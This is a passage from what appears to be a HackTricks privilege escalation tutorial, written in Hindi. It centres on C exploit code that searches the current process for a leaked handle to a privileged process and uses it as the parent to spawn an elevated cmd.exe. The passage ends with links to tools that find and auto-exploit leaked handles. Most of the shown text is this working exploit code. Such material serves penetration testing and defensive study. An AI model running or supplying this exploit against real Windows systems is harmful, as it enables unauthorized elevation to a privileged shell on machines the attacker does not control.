|
|
continue;
|
|
|
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectTypeInformation,
|
|
objectTypeInfo,
|
|
0x1000,
|
|
NULL ) != STATUS_SUCCESS)
|
|
continue;
|
|
|
|
// skip some objects to avoid getting stuck
|
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
|
if (handle.GrantedAccess == 0x0012019f
|
|
&& handle.GrantedAccess != 0x00120189
|
|
&& handle.GrantedAccess != 0x120089
|
|
&& handle.GrantedAccess != 0x1A019F ) {
|
|
free(objectTypeInfo);
|
|
continue;
|
|
}
|
|
|
|
// get object name information
|
|
objectNameInfo = malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
0x1000,
|
|
&returnLength ) != STATUS_SUCCESS) {
|
|
|
|
// adjust the size of a returned object and query again
|
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
returnLength,
|
|
NULL ) != STATUS_SUCCESS) {
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
// check if we've got a process object
|
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
|
UNICODE_STRING pProcess;
|
|
|
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
|
hProc = (HANDLE) handle.HandleValue;
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
break;
|
|
}
|
|
else
|
|
continue;
|
|
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
}
|
|
|
|
return hProc;
|
|
}
|
|
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
HANDLE hProc = NULL;
|
|
STARTUPINFOEXA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
SIZE_T size;
|
|
BOOL ret;
|
|
|
|
Sleep(20000);
|
|
// find leaked process handle
|
|
hProc = GetVulnProcHandle();
|
|
|
|
if ( hProc != NULL) {
|
|
|
|
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
|
|
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
|
|
|
|
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
|
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
|
|
|
|
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
|
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
|
|
|
|
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
|
|
|
// Spawn elevated cmd process
|
|
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
|
|
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
|
|
|
|
if (ret == FALSE) {
|
|
printf("[!] Error spawning new process: [%d]\n", GetLastError());
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
Sleep(20000);
|
|
return 0;
|
|
}
|
|
```
|
|
## अन्य उपकरण और उदाहरण
|
|
|
|
- [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
|
|
|
|
यह उपकरण आपको लीक हुए हैंडल की निगरानी करने की अनुमति देता है ताकि आप कमजोर हैंडल ढूंढ सकें और यहां तक कि उन्हें ऑटो-एक्सप्लॉइट कर सकें। इसमें एक हैंडल लीक करने का उपकरण भी है।
|
|
|
|
- [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
|
|
|
|
एक और उपकरण जो एक हैंडल लीक करता है और उसे एक्सप्लॉइट करता है।
|
|
|
|
## संदर्भ
|
|
|
|
- [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
|
|
- [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
|
|
- [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|